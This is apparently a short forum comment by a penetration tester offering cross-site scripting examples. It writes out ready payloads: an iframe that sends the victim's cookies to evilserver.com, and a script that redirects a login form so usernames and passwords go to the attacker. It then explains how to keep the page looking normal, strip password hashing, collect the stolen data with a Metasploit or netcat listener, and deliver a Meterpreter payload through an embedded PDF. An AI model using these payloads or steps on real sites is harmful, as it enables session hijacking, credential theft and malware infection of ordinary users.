You could use a couple of typical password/cookie stealing examples. Cookie stealing iframe.: "><IFRAME SRC="javascript:window.location=%22http://evilserver.com/evil.php?stuff=%22+document.cookie"; height="1" width="1" frameborder="0"></IFRAME>
Altering the logon form.: "><script>window.onload = function()document.loginForm.action='http://evilserver.com/evil.php?details='</script><!---- I like to use the logon form example for my penetration testing presentations as it looks 100% normal to the user, except it redirects the Submit button to send the logon information (username/password in most cases) to your evilserver instead of the real server. You can also rewrite the code in the users browser to remove password hashing to make it easier to get the clear text password. On the server end I usually just put up a Metasploit HTTP or a netcat listener on the evilserver.com address to output the traffic to a logfile. You can also log it to a Database for mass farming of data, but we don't do that kind of thing, we leave that to Bob ;) If you want something evil on the client-side, try an iframe that references a PDF file. You can then export a PDF from Metasploit and embed the Meterpreter payload for total world domination.
